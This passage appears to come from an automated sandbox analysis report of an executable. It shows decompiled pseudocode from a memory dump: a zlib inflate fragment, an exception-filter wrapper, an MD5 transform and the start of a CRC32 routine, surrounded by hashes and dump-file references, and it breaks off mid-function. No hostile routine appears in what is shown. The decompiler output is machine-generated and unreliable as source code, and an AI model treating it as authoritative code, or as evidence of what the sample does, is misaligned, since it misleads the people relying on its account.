							if(_t274 <=  *((intOrPtr*)(_t325 + 0x44))) {
								L23:
								_t195 =  *((intOrPtr*)(_t325 + 0x20));
								_t315 =  *((intOrPtr*)(_t325 + 0x34)) - 1;
								if(_t195 != 0) {
									if(_t195 >= _t274) {
										_t316 = _t315 + _t195 - _t274;
										if(_t274 >= _t254) {
											L40:
											if(_t254 <= 2) {
												L43:
												if(_t254 != 0) {
													_t322 = _t322 + 1;
													 *_t322 = _t316[1];
													if(_t254 > 1) {
														_t322 = _t322 + 1;
														 *_t322 = _t316[2];
													}
												}
												_t311 =  *(_t325 + 0x24);
												goto L47;
											}
											_t305 = (0xaaaaaaab * (_t254 - 3) >> 0x20 >> 1) + 1;
											do {
												_t254 = _t254 - 3;
												 *(_t322 + 1) = _t316[1] & 0x000000ff;
												_t202 = _t316[2] & 0x000000ff;
												_t316 =  &(_t316[3]);
												 *(_t322 + 2) = _t202;
												_t322 = _t322 + 3;
												 *_t322 =  *_t316 & 0x000000ff;
												_t305 = _t305 - 1;
											} while (_t305 != 0);
											goto L43;
										}
										_t254 = _t254 - _t274;
										do {
											_t204 = _t316[1];
											_t316 =  &(_t316[1]);
											_t322 = _t322 + 1;
											 *_t322 = _t204;
											_t274 = _t274 - 1;
										} while (_t274 != 0);
										L39:
										_t316 = _t322 - _t302;
										goto L40;
									}
									_t276 = _t274 -  *((intOrPtr*)(_t325 + 0x20));
									_t316 = _t315 + _t195 - _t274 +  *((intOrPtr*)(_t325 + 0x30));
									if(_t276 >= _t254) {
										goto L40;
									}
									_t254 = _t254 - _t276;
									_t318 = _t316 - _t322;
									do {
										_t207 =  *((intOrPtr*)(_t318 + _t322 + 1));
										_t322 = _t322 + 1;
										 *_t322 = _t207;
										_t276 = _t276 - 1;
									} while (_t276 != 0);
									_t208 =  *((intOrPtr*)(_t325 + 0x20));
									_t316 =  *((intOrPtr*)(_t325 + 0x34)) - 1;
									if(_t208 >= _t254) {
										goto L40;
									}
									_t277 = _t208;
									_t254 = _t254 - _t208;
									do {
										_t209 = _t316[1];
										_t316 =  &(_t316[1]);
										_t322 = _t322 + 1;
										 *_t322 = _t209;
										_t277 = _t277 - 1;
									} while (_t277 != 0);
									goto L39;
								}
								_t316 = _t315 +  *((intOrPtr*)(_t325 + 0x30)) - _t274;
								if(_t274 >= _t254) {
									goto L40;
								}
								_t254 = _t254 - _t274;
								do {
									_t212 = _t316[1];
									_t316 =  &(_t316[1]);
									_t322 = _t322 + 1;
									 *_t322 = _t212;
									_t274 = _t274 - 1;
								} while (_t274 != 0);
								goto L39;
							}
							_t213 =  *((intOrPtr*)(_t325 + 0x1c));
							if( *((intOrPtr*)(_t213 + 0x1bc0)) != 0) {
								 *( *((intOrPtr*)(_t325 + 0x4c)) + 0x18) = "invalid distance too far back";
								goto L60;
							}
							goto L23;
						}
					} else {
						while((_t300 & 0x00000040) == 0) {
							_t308 =  *( *((intOrPtr*)(_t325 + 0x2c)) + (((0x00000001 << _t300) - 0x00000001 & _t311) + ( *(_t325 + 0x50) >> 0x10)) * 4);
							_t284 = _t308 >> 0x00000008 & 0x000000ff;
							 *(_t325 + 0x50) = _t308;
							_t323 = _t323 - _t284;
							_t300 = _t308 & 0x000000ff;
							_t311 = _t311 >> _t284;
							if((_t300 & 0x00000010) == 0) {
								continue;
							}
							goto L17;
						}
						_t213 =  *((intOrPtr*)(_t325 + 0x1c));
						 *( *((intOrPtr*)(_t325 + 0x4c)) + 0x18) = "invalid distance code";
						L60:
						_t251 =  *((intOrPtr*)(_t325 + 0x14));
						_t294 =  *(_t325 + 0x10);
						goto L61;
					}
					L48:
				} while (_t322 < _t251);
				goto L62;
			}

0x00411257
0x0041125b
0x00411263
0x0041126c
0x0041126f
0x00411273
0x00411274
0x00411284
0x00411288
0x00411291
0x00411298
0x0041129f
0x004112a6
0x004112ad
0x004112b4
0x004112bd
0x004112c1
0x004112c8
0x004112cf
0x004112d6
0x004112da
0x004112dd
0x004112e1
0x004112e4
0x004112ee
0x004112f3
0x004112ff
0x00411301
0x00411301
0x0041130e
0x00411316
0x00411319
0x0041131b
0x0041131d
0x00411322
0x0041135d
0x0041135d
0x00411361
0x0041157a
0x0041157a
0x0041157e
0x00411586
0x00411628
0x0041162c
0x0041162f
0x00411634
0x0041163f
0x00411649
0x0041164e
0x00411660
0x00411663
0x00411667
0x0041166a
0x0041166f
0x00411677
0x00411677
0x00000000
0x00411586
0x00411324
0x0041132c
0x004115d8
0x004115df
0x004115e3
0x004115e7
0x004115f5
0x00411622
0x00411622
0x00000000
0x00411622
0x004115e9
0x00000000
0x004115e9
0x00411347
0x0041134f
0x00411352
0x00411354
0x00411356
0x0041135b
0x00000000
0x00000000
0x00000000
0x0041135b
0x00411368
0x0041136b
0x0041136e
0x00411389
0x00411393
0x00411395
0x00411397
0x00411399
0x00411399
0x0041139e
0x004113a0
0x004113aa
0x004113b4
0x004113bd
0x004113bf
0x004113bf
0x004113cc
0x004113d4
0x004113d7
0x004113db
0x004113dd
0x004113e0
0x004113e5
0x00411424
0x00411424
0x00411429
0x0041142e
0x00411434
0x00411436
0x00411437
0x0041143a
0x00411443
0x00411447
0x0041144f
0x00411450
0x00411459
0x0041145b
0x0041145b
0x00411447
0x0041145e
0x00411467
0x0041146a
0x0041146c
0x0041146e
0x00411474
0x00411478
0x0041147c
0x00411482
0x0041159b
0x004115a0
0x004115a0
0x004115a4
0x004115a7
0x004115aa
0x004115b1
0x004115b4
0x004115ba
0x004115bc
0x004115c3
0x004115c8
0x004115c9
0x004115ce
0x004115d3
0x004115d4
0x004115d4
0x004115ce
0x00000000
0x00411488
0x0041148a
0x00411490
0x004114a3
0x004114a7
0x004114ab
0x004114ae
0x004114d0
0x00411511
0x00411515
0x00411530
0x00411533
0x00411561
0x00411563
0x00411568
0x00411569
0x0041156e
0x00411573
0x00411574
0x00411574
0x0041156e
0x00411576
0x00000000
0x00411576
0x00411541
0x00411542
0x00411546
0x00411549
0x0041154c
0x00411550
0x00411553
0x00411556
0x0041155c
0x0041155e
0x0041155e
0x00000000
0x00411542
0x00411517
0x00411520
0x00411520
0x00411523
0x00411526
0x00411527
0x00411529
0x00411529
0x0041152c
0x0041152e
0x00000000
0x0041152e
0x004114d4
0x004114dc
0x004114e0
0x00000000
0x00000000
0x004114e2
0x004114e4
0x004114e6
0x004114e6
0x004114ea
0x004114eb
0x004114ed
0x004114ed
0x004114f4
0x004114f8
0x004114fb
0x00000000
0x00000000
0x004114fd
0x004114ff
0x00411501
0x00411501
0x00411504
0x00411507
0x00411508
0x0041150a
0x0041150a
0x00000000
0x0041150d
0x004114b6
0x004114ba
0x00000000
0x00000000
0x004114bc
0x004114c0
0x004114c0
0x004114c3
0x004114c6
0x004114c7
0x004114c9
0x004114c9
0x00000000
0x004114cc
0x00411492
0x0041149d
0x00411613
0x00000000
0x00411613
0x00000000
0x0041149d
0x004113e7
0x004113e7
0x00411409
0x00411411
0x00411414
0x00411418
0x0041141a
0x0041141d
0x00411422
0x00000000
0x00000000
0x00000000
0x00411422
0x00411602
0x00411606
0x0041161a
0x0041161a
0x0041161e
0x00000000
0x0041161e
0x0041158c
0x0041158c
0x00000000

Strings

x1A, xrefs: 00411613

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: x1A
API String ID: 0-1646630478
Opcode ID: fdc212910d03c255f0785c9543c6bfeff31382a250498d77613c5968644664cf
Instruction ID: 52bba8912795a97967905f55eeb4341e7272e8ac0bf7e2902004463dd3c3107f
Opcode Fuzzy Hash: fdc212910d03c255f0785c9543c6bfeff31382a250498d77613c5968644664cf
Instruction Fuzzy Hash: 4ED1D7716083528FC704CF28C4802AABBE2EFD5344F184A6EE9D5CB352D379D98ACB55

Uniqueness

Uniqueness Score: -1.00%

Function 004098F0, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004098F0() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter( *0x4170f0);
				 *0x4170f0 = 0;
				return _t1;
			}

0x004098f6
0x004098fc
0x00409906

APIs

SetUnhandledExceptionFilter.KERNEL32(004011C9,004011AA,00000000,`Fc,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004), ref: 004098F6

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 31e70d09a190535cfca40eac8151b35d3e49dc34e543f2d84d890ba62a303ae5
Instruction ID: 58fd1e7f992a672593766b16f957b5939387e25e4684d50d9e98353aec796854
Opcode Fuzzy Hash: 31e70d09a190535cfca40eac8151b35d3e49dc34e543f2d84d890ba62a303ae5
Instruction Fuzzy Hash: 96B00178018352DBDB019F14FC0CBC43F72B748715F82C174941141274E7794458DA88

Uniqueness

Uniqueness Score: -1.00%

Function 0040C838, Relevance: .7, Instructions: 674
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E0040C838() {
				signed int* _t109;
				signed int _t111;
				intOrPtr _t328;
				signed int _t329;
				signed int _t332;
				signed int _t334;
				signed int _t336;
				signed int _t340;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t350;
				signed int _t352;
				signed int _t354;
				signed int _t357;
				signed int _t359;
				signed int _t521;
				signed int _t526;
				signed int _t530;
				signed int _t535;
				signed int _t537;
				signed int _t539;
				signed int _t541;
				signed int _t544;
				signed char* _t546;
				signed int _t550;
				signed int _t552;
				signed int _t554;
				signed int _t556;
				signed int _t562;
				signed int _t564;
				signed int _t567;
				signed int _t569;
				signed int _t571;
				signed int _t577;
				signed int _t579;
				signed int _t581;
				signed int _t583;
				signed int _t586;
				void* _t587;
				signed int _t590;
				signed int _t592;
				signed int _t595;
				signed int _t599;
				signed int _t601;
				signed int _t603;
				signed int _t605;
				signed int _t608;
				signed int _t610;
				signed int _t612;
				signed int _t614;
				signed int _t616;
				signed int _t618;
				signed int _t620;
				signed int _t622;
				intOrPtr* _t623;
				signed int* _t624;
				signed int _t625;
				signed int _t628;
				signed int _t630;
				signed int _t632;
				signed int _t634;
				signed int _t639;
				signed int _t641;
				signed int _t643;
				signed int _t651;
				signed int _t653;
				signed int _t655;
				signed int _t657;
				signed int _t659;
				signed int _t661;
				signed int _t663;
				signed int _t666;
				signed int _t671;
				signed int _t674;
				signed int _t677;
				signed int _t685;
				signed int _t688;
				signed int _t691;
				void* _t692;

				_t109 =  *(_t692 + 0x54);
				_t546 =  *((intOrPtr*)(_t692 + 0x58)) + 2;
				_t329 = _t109[1];
				_t671 = _t109[2];
				 *(_t692 + 0x14) =  *_t109;
				_t624 = _t692 + 0x24;
				 *(_t692 + 0x18) = _t109[3];
				_t587 = 0x10;
				do {
					_t359 = _t546[1] & 0x000000ff;
					_t111 =  *_t546 & 0x000000ff;
					_t546 =  &(_t546[4]);
					 *_t624 = ((_t359 << 0x00000008 | _t111) << 0x00000008 |  *(_t546 - 5) & 0x000000ff) << 0x00000008 |  *(_t546 - 6) & 0x000000ff;
					_t624 =  &(_t624[1]);
					_t587 = _t587 - 1;
				} while (_t587 != 0);
				_t625 =  *(_t692 + 0x14);
				asm("rol edx, 0x7");
				_t550 =  *((intOrPtr*)(_t692 + 0x10)) + 0xd76aa478 + ( !_t329 & _t625 | _t671 & _t329) +  *((intOrPtr*)(_t692 + 0x20)) + _t329;
				asm("rol esi, 0xc");
				_t628 = _t625 + 0xe8c7b756 + ( !_t550 & _t671 | _t329 & _t550) +  *(_t692 + 0x24) + _t550;
				asm("ror edi, 0xf");
				_t590 = _t671 + 0x242070db + ( !_t628 & _t329 | _t628 & _t550) +  *((intOrPtr*)(_t692 + 0x28)) + _t628;
				asm("ror ebx, 0xa");
				_t332 = _t329 + 0xc1bdceee + ( !_t590 & _t550 | _t628 & _t590) +  *((intOrPtr*)(_t692 + 0x2c)) + _t590;
				asm("rol edx, 0x7");
				_t552 = _t550 + ( !_t332 & _t628 | _t590 & _t332) + 0xf57c0faf +  *((intOrPtr*)(_t692 + 0x30)) + _t332;
				asm("rol esi, 0xc");
				_t630 = _t628 + ( !_t552 & _t590 | _t332 & _t552) + 0x4787c62a +  *((intOrPtr*)(_t692 + 0x34)) + _t552;
				asm("ror edi, 0xf");
				_t592 = _t590 + ( !_t630 & _t332 | _t630 & _t552) + 0xa8304613 +  *((intOrPtr*)(_t692 + 0x38)) + _t630;
				asm("ror ebx, 0xa");
				_t334 = _t332 + ( !_t592 & _t552 | _t630 & _t592) + 0xfd469501 +  *((intOrPtr*)(_t692 + 0x3c)) + _t592;
				asm("rol edx, 0x7");
				_t554 = _t552 + ( !_t334 & _t630 | _t592 & _t334) + 0x698098d8 +  *((intOrPtr*)(_t692 + 0x40)) + _t334;
				_t27 = _t554 + 0x6b901122; // -1809486614
				asm("rol esi, 0xc");
				_t632 = _t630 + ( !_t554 & _t592 | _t334 & _t554) + 0x8b44f7af +  *((intOrPtr*)(_t692 + 0x44)) + _t554;
				asm("ror ebp, 0xf");
				_t674 = _t592 - 0xa44f + ( !_t632 & _t334 | _t632 & _t554) +  *((intOrPtr*)(_t692 + 0x48)) + _t632;
				 *(_t692 + 0x14) = _t674;
				asm("ror ebx, 0xa");
				_t336 = _t334 + ( !_t674 & _t554 | _t632 & _t674) + 0x895cd7be +  *((intOrPtr*)(_t692 + 0x4c)) + _t674;
				 *(_t692 + 0x18) = _t336;
				asm("rol edi, 0x7");
				_t595 = _t27 + ( !_t336 & _t632 | _t674 & _t336) +  *((intOrPtr*)(_t692 + 0x50)) + _t336;
				 *(_t692 + 0x1c) = _t595;
				asm("rol ebp, 0xc");
				_t677 = _t632 - 0x2678e6d +  *(_t692 + 0x54) + ( !_t595 & _t674 | _t336 & _t595) + _t595;
				_t634 =  !_t677;
				asm("ror ebx, 0xf");
				_t340 =  *(_t692 + 0x14) + 0xa679438e + (_t634 & _t336 | _t677 & _t595) +  *((intOrPtr*)(_t692 + 0x58)) + _t677;
				_t556 =  !_t340;
				asm("ror edi, 0xa");
				_t599 =  *(_t692 + 0x18) + 0x49b40821 + (_t556 & _t595 | _t677 & _t340) +  *((intOrPtr*)(_t692 + 0x5c)) + _t340;
				asm("rol esi, 0x5");
				_t639 = (_t634 & _t340 | _t677 & _t599) +  *(_t692 + 0x24) +  *(_t692 + 0x1c) + 0xf61e2562 + _t599;
				asm("rol edx, 0x9");
				_t562 = (_t556 & _t599 | _t340 & _t639) + 0xc040b340 +  *((intOrPtr*)(_t692 + 0x38)) + _t677 + _t639;
				asm("rol ebx, 0xe");
				_t342 = _t340 + ( !_t599 & _t639 | _t562 & _t599) + 0x265e5a51 +  *((intOrPtr*)(_t692 + 0x4c)) + _t562;
				asm("ror edi, 0xc");
				_t601 = _t599 + ( !_t639 & _t562 | _t342 & _t639) + 0xe9b6c7aa +  *((intOrPtr*)(_t692 + 0x20)) + _t342;
				asm("rol esi, 0x5");
				_t641 = _t639 + ( !_t562 & _t342 | _t562 & _t601) + 0xd62f105d +  *((intOrPtr*)(_t692 + 0x34)) + _t601;
				asm("rol edx, 0x9");
				_t564 = _t562 + ( !_t342 & _t601 | _t342 & _t641) + 0x2441453 +  *((intOrPtr*)(_t692 + 0x48)) + _t641;
				asm("rol ebx, 0xe");
				_t344 = _t342 + ( !_t601 & _t641 | _t564 & _t601) + 0xd8a1e681 +  *((intOrPtr*)(_t692 + 0x5c)) + _t564;
				asm("ror edi, 0xc");
				_t603 = _t601 + ( !_t641 & _t564 | _t344 & _t641) + 0xe7d3fbc8 +  *((intOrPtr*)(_t692 + 0x30)) + _t344;
				asm("rol esi, 0x5");
				_t643 = _t641 + ( !_t564 & _t344 | _t564 & _t603) + 0x21e1cde6 +  *((intOrPtr*)(_t692 + 0x44)) + _t603;
				asm("rol ebp, 0x9");
				_t685 = ( !_t344 & _t603 | _t344 & _t643) + 0xc33707d6 +  *((intOrPtr*)(_t692 + 0x58)) + _t564 + _t643;
				asm("rol ebx, 0xe");
				_t346 = _t344 + ( !_t603 & _t643 | _t685 & _t603) + 0xf4d50d87 +  *((intOrPtr*)(_t692 + 0x2c)) + _t685;
				asm("ror edi, 0xc");
				_t605 = _t603 + ( !_t643 & _t685 | _t346 & _t643) + 0x455a14ed +  *((intOrPtr*)(_t692 + 0x40)) + _t346;
				 *(_t692 + 0x1c) = _t605;
				asm("rol edx, 0x5");
				_t567 = _t643 - 0x561c16fb +  *(_t692 + 0x54) + ( !_t685 & _t346 | _t685 & _t605) + _t605;
				asm("rol esi, 0x9");
				_t651 = ( !_t346 & _t605 | _t346 & _t567) + 0xfcefa3f8 +  *((intOrPtr*)(_t692 + 0x28)) + _t685 + _t567;
				asm("rol edi, 0xe");
				_t608 = _t346 + 0x676f02d9 + ( !_t605 & _t567 | _t651 & _t605) +  *((intOrPtr*)(_t692 + 0x3c)) + _t651;
				asm("ror ebx, 0xc");
				_t350 =  *(_t692 + 0x1c) + 0x8d2a4c8a + ( !_t567 & _t651 | _t608 & _t567) +  *((intOrPtr*)(_t692 + 0x50)) + _t608;
				asm("rol edx, 0x4");
				_t569 = _t567 + (_t651 ^ _t608 ^ _t350) + 0xfffa3942 +  *((intOrPtr*)(_t692 + 0x34)) + _t350;
				asm("rol esi, 0xb");
				_t653 = _t651 + (_t608 ^ _t350 ^ _t569) + 0x8771f681 +  *((intOrPtr*)(_t692 + 0x40)) + _t569;
				asm("rol edi, 0x10");
				_t610 = _t608 + (_t653 ^ _t350 ^ _t569) + 0x6d9d6122 +  *((intOrPtr*)(_t692 + 0x4c)) + _t653;
				_t521 = _t653 ^ _t610;
				asm("ror ebx, 0x9");
				_t352 = _t350 + (_t521 ^ _t569) + 0xfde5380c +  *((intOrPtr*)(_t692 + 0x58)) + _t610;
				asm("rol edx, 0x4");
				_t571 = _t569 + (_t521 ^ _t352) + 0xa4beea44 +  *(_t692 + 0x24) + _t352;
				asm("rol esi, 0xb");
				_t655 = _t653 + (_t610 ^ _t352 ^ _t571) + 0x4bdecfa9 +  *((intOrPtr*)(_t692 + 0x30)) + _t571;
				asm("rol edi, 0x10");
				_t612 = _t610 + (_t655 ^ _t352 ^ _t571) + 0xf6bb4b60 +  *((intOrPtr*)(_t692 + 0x3c)) + _t655;
				_t526 = _t655 ^ _t612;
				asm("ror ebx, 0x9");
				_t354 = _t352 + (_t526 ^ _t571) + 0xbebfbc70 +  *((intOrPtr*)(_t692 + 0x48)) + _t612;
				asm("rol ebp, 0x4");
				_t688 = _t571 + 0x289b7ec6 +  *(_t692 + 0x54) + (_t526 ^ _t354) + _t354;
				asm("rol esi, 0xb");
				_t657 = _t655 + (_t612 ^ _t354 ^ _t688) + 0xeaa127fa +  *((intOrPtr*)(_t692 + 0x20)) + _t688;
				asm("rol edi, 0x10");
				_t614 = _t612 + (_t657 ^ _t354 ^ _t688) + 0xd4ef3085 +  *((intOrPtr*)(_t692 + 0x2c)) + _t657;
				_t530 = _t657 ^ _t614;
				asm("ror edx, 0x9");
				_t577 = (_t530 ^ _t688) + 0x4881d05 +  *((intOrPtr*)(_t692 + 0x38)) + _t354 + _t614;
				asm("rol ecx, 0x4");
				_t535 = (_t530 ^ _t577) + 0xd9d4d039 +  *((intOrPtr*)(_t692 + 0x44)) + _t688 + _t577;
				asm("rol esi, 0xb");
				_t659 = _t657 + (_t614 ^ _t577 ^ _t535) + 0xe6db99e5 +  *((intOrPtr*)(_t692 + 0x50)) + _t535;
				asm("rol edi, 0x10");
				_t616 = _t614 + (_t659 ^ _t577 ^ _t535) + 0x1fa27cf8 +  *((intOrPtr*)(_t692 + 0x5c)) + _t659;
				asm("ror edx, 0x9");
				_t579 = _t577 + (_t659 ^ _t616 ^ _t535) + 0xc4ac5665 +  *((intOrPtr*)(_t692 + 0x28)) + _t616;
				asm("rol ecx, 0x6");
				_t537 = _t535 + (( !_t659 | _t579) ^ _t616) + 0xf4292244 +  *((intOrPtr*)(_t692 + 0x20)) + _t579;
				asm("rol esi, 0xa");
				_t661 = _t659 + (( !_t616 | _t537) ^ _t579) + 0x432aff97 +  *((intOrPtr*)(_t692 + 0x3c)) + _t537;
				asm("rol edi, 0xf");
				_t618 = _t616 + (( !_t579 | _t661) ^ _t537) + 0xab9423a7 +  *((intOrPtr*)(_t692 + 0x58)) + _t661;
				asm("ror edx, 0xb");
				_t581 = _t579 + (( !_t537 | _t618) ^ _t661) + 0xfc93a039 +  *((intOrPtr*)(_t692 + 0x34)) + _t618;
				asm("rol ecx, 0x6");
				_t539 = _t537 + (( !_t661 | _t581) ^ _t618) + 0x655b59c3 +  *((intOrPtr*)(_t692 + 0x50)) + _t581;
				asm("rol esi, 0xa");
				_t663 = _t661 + (( !_t618 | _t539) ^ _t581) + 0x8f0ccc92 +  *((intOrPtr*)(_t692 + 0x2c)) + _t539;
				asm("rol edi, 0xf");
				_t620 = _t618 + (( !_t581 | _t663) ^ _t539) + 0xffeff47d +  *((intOrPtr*)(_t692 + 0x48)) + _t663;
				asm("ror edx, 0xb");
				_t583 = _t581 + (( !_t539 | _t620) ^ _t663) + 0x85845dd1 +  *(_t692 + 0x24) + _t620;
				asm("rol ecx, 0x6");
				_t541 = _t539 + (( !_t663 | _t583) ^ _t620) + 0x6fa87e4f +  *((intOrPtr*)(_t692 + 0x40)) + _t583;
				asm("rol ebx, 0xa");
				_t357 = _t663 - 0x1d31920 + (( !_t620 | _t541) ^ _t583) +  *((intOrPtr*)(_t692 + 0x5c)) + _t541;
				asm("rol edi, 0xf");
				_t622 = _t620 + (( !_t583 | _t357) ^ _t541) + 0xa3014314 +  *((intOrPtr*)(_t692 + 0x38)) + _t357;
				asm("ror ebp, 0xb");
				_t691 = _t583 + 0x4e0811a1 +  *(_t692 + 0x54) + (( !_t541 | _t622) ^ _t357) + _t622;
				_t623 =  *((intOrPtr*)(_t692 + 0x64));
				asm("rol esi, 0x6");
				_t666 = _t541 - 0x8ac817e + (( !_t357 | _t691) ^ _t622) +  *((intOrPtr*)(_t692 + 0x30)) + _t691;
				asm("rol edx, 0xa");
				_t586 = _t357 - 0x42c50dcb + (( !_t622 | _t666) ^ _t691) +  *((intOrPtr*)(_t692 + 0x4c)) + _t666;
				asm("rol ecx, 0xf");
				_t544 = _t622 + 0x2ad7d2bb + (( !_t691 | _t586) ^ _t666) +  *((intOrPtr*)(_t692 + 0x28)) + _t586;
				 *_t623 =  *((intOrPtr*)(_t692 + 0x10)) + _t666;
				 *((intOrPtr*)(_t623 + 8)) =  *((intOrPtr*)(_t623 + 8)) + _t544;
				asm("ror eax, 0xb");
				_t328 = _t691 - 0x14792c6f + (( !_t666 | _t544) ^ _t586) +  *((intOrPtr*)(_t692 + 0x44)) +  *((intOrPtr*)(_t623 + 4)) + _t544;
				 *((intOrPtr*)(_t623 + 0xc)) =  *((intOrPtr*)(_t623 + 0xc)) + _t586;
				 *((intOrPtr*)(_t623 + 4)) = _t328;
				return _t328;
			}

0x0040c83b
0x0040c847
0x0040c84a
0x0040c84d
0x0040c857
0x0040c85b
0x0040c85f
0x0040c863
0x0040c864
0x0040c864
0x0040c868
0x0040c86b
0x0040c885
0x0040c887
0x0040c88a
0x0040c88a
0x0040c88d
0x0040c8bb
0x0040c8be
0x0040c8d0
0x0040c8d3
0x0040c8ef
0x0040c8f2
0x0040c906
0x0040c909
0x0040c923
0x0040c926
0x0040c93e
0x0040c941
0x0040c95b
0x0040c95e
0x0040c980
0x0040c983
0x0040c99d
0x0040c9a0
0x0040c9ac
0x0040c9be
0x0040c9c1
0x0040c9d7
0x0040c9da
0x0040c9de
0x0040c9f8
0x0040c9fb
0x0040c9ff
0x0040ca13
0x0040ca16
0x0040ca1a
0x0040ca32
0x0040ca35
0x0040ca39
0x0040ca57
0x0040ca5a
0x0040ca60
0x0040ca7c
0x0040ca7f
0x0040ca9c
0x0040ca9f
0x0040cab3
0x0040cab6
0x0040cace
0x0040cad3
0x0040caed
0x0040caf2
0x0040cb08
0x0040cb0d
0x0040cb25
0x0040cb2a
0x0040cb42
0x0040cb47
0x0040cb65
0x0040cb6a
0x0040cb82
0x0040cb87
0x0040cba1
0x0040cba4
0x0040cbbc
0x0040cbc1
0x0040cbd9
0x0040cbde
0x0040cbe4
0x0040cbf2
0x0040cbf5
0x0040cc13
0x0040cc16
0x0040cc36
0x0040cc3b
0x0040cc4f
0x0040cc52
0x0040cc65
0x0040cc68
0x0040cc77
0x0040cc7a
0x0040cc8f
0x0040cc92
0x0040cc94
0x0040cca7
0x0040ccaa
0x0040ccbc
0x0040ccbf
0x0040ccce
0x0040ccd7
0x0040ccec
0x0040ccef
0x0040ccf1
0x0040cd04
0x0040cd07
0x0040cd13
0x0040cd16
0x0040cd25
0x0040cd28
0x0040cd3d
0x0040cd40
0x0040cd42
0x0040cd56
0x0040cd59
0x0040cd6b
0x0040cd6e
0x0040cd7d
0x0040cd80
0x0040cd95
0x0040cd98
0x0040cdab
0x0040cdae
0x0040cdc5
0x0040cdc8
0x0040cddd
0x0040cde0
0x0040cdf5
0x0040cdf8
0x0040ce0d
0x0040ce10
0x0040ce25
0x0040ce28
0x0040ce3d
0x0040ce40
0x0040ce55
0x0040ce58
0x0040ce6d
0x0040ce70
0x0040ce83
0x0040ce86
0x0040ceaa
0x0040cead
0x0040cec8
0x0040cecb
0x0040cedd
0x0040cee4
0x0040cef4
0x0040cef8
0x0040cefb
0x0040cf0b
0x0040cf0e
0x0040cf20
0x0040cf23
0x0040cf25
0x0040cf27
0x0040cf3c
0x0040cf42
0x0040cf44
0x0040cf47
0x0040cf51

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a400b198c8088953b694fc09eb18952a69227507a418fb01e42f7223b2c6d58
Instruction ID: 6ef1de5262991055bf8ff344baa4316f75fa1d5ea4f76780d655809ec32a4ba1
Opcode Fuzzy Hash: 7a400b198c8088953b694fc09eb18952a69227507a418fb01e42f7223b2c6d58
Instruction Fuzzy Hash: 8812B5B3B546144BD70CCE1DCCA23A9B2D3ABD4218B0E853DB48AD3341EA7DD9198685

Uniqueness

Uniqueness Score: -1.00%

Function 004102F0, Relevance: .2, Instructions: 209
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004102F0() {
				signed int _t98;
				signed char _t103;
				signed char _t150;
				unsigned int _t152;
				signed char _t167;
				signed int _t178;
				signed int _t213;
				signed int* _t257;
				signed char* _t258;
				unsigned int _t259;
				unsigned int _t262;
				void* _t264;

				_t214 =  *(_t264 + 4);
				_t150 =  *(_t264 + 0xc);
				_t259 =  *(_t264 + 0x14);
				_t98 =  !((( *(_t264 + 4) & 0x0000ff00) + ( *(_t264 + 4) << 0x10) << 8) + (_t214 >> 0x00000008 & 0x0000ff00) + (_t214 >> 0x18));
				if(_t259 != 0) {
					while((_t150 & 0x00000003) != 0) {
						_t213 =  *_t150 & 0x000000ff;
						_t150 = _t150 + 1;
						_t98 = _t98 << 0x00000008 ^  *(0x4141c8 + (_t98 >> 0x00000018 ^ _t213) * 4);
						_t259 = _t259 - 1;
						if(_t259 != 0) {
							continue;
						}
						goto L3;
					}
				}
				L3:
				_t257 = _t150 - 4;
				if(_t259 >= 0x20) {
					_t262 = _t259 >> 5;
					do {
